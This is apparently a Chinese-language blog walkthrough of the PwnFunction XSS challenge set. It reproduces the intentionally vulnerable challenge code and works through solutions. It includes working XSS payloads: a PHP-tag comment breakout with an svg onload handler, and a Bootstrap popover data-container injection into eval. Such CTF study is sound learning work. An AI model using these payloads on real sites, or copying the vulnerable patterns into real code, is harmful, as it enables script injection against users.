https://xss.pwnfunction.com/
新开一个坑 有空玩玩
补: 差点把自己玩死
Area 51 1 2 3 4 5 6 7 8 9 <div id ="pwnme" > </div > <script > var input = (new URL (location).searchParams .get ('debug' ) || '' ).replace (/[\!\-\/\#\&\;\%]/g , '_' ); var template = document .createElement ('template' ); template.innerHTML = input; pwnme.innerHTML = "<!-- <p> DEBUG: " + template.outerHTML + " </p> -->" ; </script >
往 ?debug 里塞payload
放到了注释里 要想办法 break
要逃逸出 replace
可以看到几种注释已经被ban了
就算 template 有操作空间 感觉还是要 先绕过注释
感觉可以考虑一下dom xss
trick https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/debugging-client-side-js 不知道有啥用
感觉点在 这一进一出可能导致差异?
所以要好好研究一下 outerHRML
我在一直考虑编码上的问题
可惜这条路似乎走不通 555 我太菜惹
看了下 payload
wp
1 2 3 4 <?php><svg onload =alert(1337) > <?><svg onload =alert(1337) >
结果如图
出题人这么解释的
The value of the GET parameter debug
ends up inside a comment which is then inserted to the DOM via innerHTML
. The problem is that, there’s a filter, which removes !-/#&;%
characters. But <php>
it mutates into <!--php-->
, because browsers don’t like to render PHP source if sent accidentally. This mutation creates new comment, which will be nested inside the already existing one. However there’s no concept of nested comments in HTML, hence the new comment breaks the old comment and lets us execute Javascript.
emmm 这似乎还是要扯到 浏览器解析的问题上来
给了个链接 完全看不懂嘛 ~~
https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
https://blog.zeddyu.info/2020/02/11/xssgame/#difficult-version
下次抽时间学一下
Keanu 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <number id ="number" style ="display:none" > </number > <div class ="alert alert-primary" role ="alert" id ="welcome" > </div > <button id ="keanu" class ="btn btn-primary btn-sm" data-toggle ="popover" data-content ="DM @PwnFunction" data-trigger ="hover" onclick ="alert(`If you solved it, DM me @PwnFunction :)`)" > Solved it?</button > <script > var number = (new URL (location).searchParams .get ('number' ) || "7" )[0 ], name = DOMPurify .sanitize (new URL (location).searchParams .get ('name' ), { SAFE_FOR_JQUERY : true }); $('number#number' ).html (number); document .getElementById ('welcome' ).innerHTML = (`Welcome <b>${name || "Mr. Wick" } !</b>` ); $('#keanu' ).popover ('show' ) setTimeout (_ => { $('#keanu' ).popover ('hide' ) }, 2000 ) var magicNumber = Math .floor (Math .random () * 10 ); var number = eval ($('number#number' ).html ()); if (magicNumber === number) { alert ("You're Breathtaking!" ) } </script >
这都是啥奇奇怪怪的属性 ( 我前端真菜 555
这里直接 purify 了 name 那么是不是就没有搞头了?
1 $('number#number' ).html (number);
用法
html() 方法设置或返回被选元素的内容(innerHTML)。
当该方法用于返回 内容时,则返回第一个匹配元素的内容。
当该方法用于设置 内容时,则重写所有匹配元素的内容。
popover用法
大概看懂什么意思了 检查一下他的 DOMpurify
有没有漏洞
20 年 爆了俩漏洞
但我不确定这个比赛是什么时候的 emmm
应该不是摁用漏洞
是要执行这个
1 var number = eval ($('number#number' ).html ());
要求污染掉 eval
里面的值 感觉有点小困难
毕竟这里知选了一个值
1 var number = (new URL (location).searchParams .get ('number' ) || "7" )[0 ]
我们输入的number
可不可以是别的类型? 这样的话 [0]
说不定可以截取到更多个 emmm。。。
来研究下这个 searchParams 好像又没什么操作空间?
感觉只有 popover
可以用了 怎么用呢?
或许要结合 name
?插入一些无害的东西?我trytry
当我用以下的payload时 我发现 弹框的地方改变了
1 https:// sandbox.pwnfunction.com/challenges/ keanu.html?number=2 &name=<img id="keanu" data-content="DM @b1ue0cean" >
现在我们逐渐熟悉了 popover 但是距离解题还差一个重要的点
我在文档中发现了一个东西
1 https:// sandbox.pwnfunction.com/challenges/ keanu.html?number=2 &name=<img id="keanu" data-content="233<svg/onload=alert``>" data-html=true>
但是貌似被过滤掉了
我可以在这里面插一个不危险的东西嘛? 比如 <number>
(念念不忘了是
我使用了以下的payload
1 https:// sandbox.pwnfunction.com/challenges/ keanu.html?number=2 &name=<img id="keanu" data-content="233<number id=" number" style=" display:none">gg</number>" data-html=true>
结果出了点小状况
这里id貌似重了 emmm 换个单引号再试试
果然没问题了
1 https:// sandbox.pwnfunction.com/challenges/ keanu.html?number=2 &name=<img id="keanu" data-content='233<number id=number style="display:none">gg</number>' data-html=true>
那么接下来要怎么进行下去呢?
目前还是达不到我想要的效果 emmm 烦烦烦
当该方法用于返回 内容时,则返回第一个匹配元素的内容
怎么能让我的html跑到他的上面去呢 5555
感觉这是最后一道坎了
那么我是不是可以想办法破坏第一个 number 标签?
这样 我的number 不就成了第一个了? 但这个想法貌似不具备可行性
卡死
貌似去掉原来的number
标签 也不是很可行的样子 555
看了zeddy 大佬的 wp 学习了
同时也说明 我是fw 如果坚持做下去应该可以出的 555 一条思路死了 就赶紧换!!!
利用 container 属性 插进去了 5555
payload
1 file:///E:/js/test.html?number='&name=<button id="keanu" data -toggle="popover" data -container="number" data -content="';alert(1337);//" >
真tm不容易
WW3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <div > <h4 > Meme Code</h4 > <textarea class ="form-control" id ="meme-code" rows ="4" > </textarea > <div id ="notify" > </div > </div > <script > /* Utils */ const escape = (dirty) => unescape(dirty).replace(/[<> '"=]/g, ''); const memeTemplate = (img, text) => { return (`<style > @import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap' );`+ `.meme-card {margin :0 auto;width :300px }.meme-card >img {width :300px }`+ `.meme-card >h1 {text-align :center;color :#fff ;background :black;margin-top :-5px ;`+ `position :relative;font-family :Oswald,sans-serif;font-weight :700 } </style > `+ `<div class ="meme-card" > <img src ="${img}" > <h1 > ${text}</h1 > </div > `) } const memeGen = (that, notify) => { if (text && img) { template = memeTemplate(img, text) if (notify) { html = (`<div class ="alert alert-warning" role ="alert" > <b > Meme</b > created from ${DOMPurify.sanitize(text)}</div > `) } setTimeout(_ => { $('#status').remove() notify ? ($('#notify').html(html)) : '' $('#meme-code').text(template) }, 1000) } } </script > <script > let notify = false ; let text = new URL (location).searchParams .get ('text' ) let img = new URL (location).searchParams .get ('img' ) if (text && img) { document .write ( `<div class="alert alert-primary" role="alert" id="status">` + `<img class="circle" src="${escape (img)} " onload="memeGen(this, notify)">` + `Creating meme... (${DOMPurify.sanitize(text)} )</div>` ) } else { $('#meme-code' ).text (memeTemplate ('https://i.imgur.com/PdbDexI.jpg' , 'When you get that WW3 draft letter' )) } </script >
Jason Bourne 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <script > const bootstrapAlert = (msg, type ) => { return (`<div class="alert alert-${type} " role="alert">${DOMPurify.sanitize(msg)} </div>` ) } document .getAlert = () => document .getElementById ('alerts' ); </script > <script > let name = (new URL (location).searchParams .get ('name' )) || "Pamela Landy" ; document .write ( bootstrapAlert (`<b>Operation Treadstone</b>: Welcome <u>${name} </u>.` , 'info' ) ) </script > <div id ="alerts" > </div > <script > let alerts = document .getAlert (); let identification = Math .random ().toString (36 ).slice (2 ); let code = Math .floor (Math .random () * 89999 + 10000 ); DEFAULTS = {}; DEFAULTS [identification] = code; </script > <script > if (location.hash ) { let comment = document .createComment (decodeURI (location.hash ).slice (1 )); document .querySelector ('#alerts' ).appendChild (comment); } </script > <script > SECRETS = DEFAULTS let secretKey = new URL (location).searchParams .get ('key' ) || "TREADSTONE_WEBB" ; SECRETS [secretKey] += 1 ; if (SECRETS [secretKey] === SECRETS [identification]) { confirm (`Jesus Christ, it's Jason Bourne!` ) } else { confirm (`You ain't David Webb!` ) } </script >
Me and the Bois 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <div id ="bois" > </div > <script > let safeTags = ['a' , 'area' , 'b' , 'br' , 'col' , 'code' , 'div' , 'em' , 'hr' , 'h1' , 'h2' , 'h3' , 'h4' , 'h5' , 'h6' , 'i' , 'iframe' , 'img' , 'li' , 'ol' , 'p' , 'pre' , 's' , 'small' , 'span' , 'sub' , 'sup' , 'strong' , 'u' , 'ul' ] let forbiddenAttrs = ['style' , 'srcdoc' ] let cssSafe = /[^a-zA-Z0-9\s\-\,\:\_\(\)\{\}\"\'\.\#\;\%]/g let boi = `<h1>${(new URL(location).searchParams.get('boi' )) || 'Neo' } </h1>` let clean = DOMPurify .sanitize (boi, { ALLOWED_TAGS : safeTags, FORBID_ATTR : forbiddenAttrs }) let bois = document .getElementById ('bois' ) bois.innerHTML += clean; let custom = (new URL (location).searchParams .get ('custom' )) || "" custom = custom.replace (cssSafe, '' ) if (custom) { customStyles = JSON .parse (custom) let comment = document .createComment (customStyles) bois.appendChild (comment) } window .CONFIG = { color : "lime" , backgroundColor : "#000" } </script > <script > function styleSetter (styles, execStr ) { for (var style in styles) { if (styles.hasOwnProperty (style)) { eval (execStr) } } } window .DEFAULTS = { borderRadius : "5px" , fontFamily : "Space Mono" , fontWeight : "700" , letterSpacing : "4px" , padding : "20px" , textAlign : "center" , width : "500px" } styleSetter (DEFAULTS , `CONFIG[style] = styles[style]` ) if (window .customStyles ) { styleSetter (customStyles, `CONFIG[style] = customStyles[style]` ) } styleSetter (CONFIG , `bois.firstElementChild.style[style] = CONFIG[style]` ) </script >
Ded 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <div id ="ded" > <button type ="button" class ="btn btn-lg btn-danger" data-toggle ="popover" title ="Hints" data-html ="true" data-content ="<li>Anything different about this challenge?</li> <li>Look Deeper!</li>" > Lemme help you.</button > </div > <script > let code = (new URL (location).searchParams .get ('code' )).replace (/script/ig , "_" ) || `<li><strike>ded</strike></li>` let clean = DOMPurify .sanitize (code, { SAFE_FOR_JQUERY : true }) document .getElementById ('ded' ).innerHTML += clean </script > <script src ="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity ="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n" crossorigin ="anonymous" ></script > <script src ="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity ="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin ="anonymous" ></script > <script src ="https://stackpath.bootstrapcdn.com/bootstrap/4.4.0/js/bootstrap.min.js" integrity ="sha384-3qaqj0lc6sV/qpzrc1N5DC6i1VRn/HyX4qdPaiEFbn54VjQBEU341pvjz7Dv3n6P" crossorigin ="anonymous" ></script > <script > let whiteList = $.fn.tooltip .Constructor .Default .whiteList whiteList.form = [] $(function ( ) { $('[data-toggle="popover"]' ).popover ('show' ) }) </script >
reference https://blog.zeddyu.info/2020/02/11/xssgame/#introduction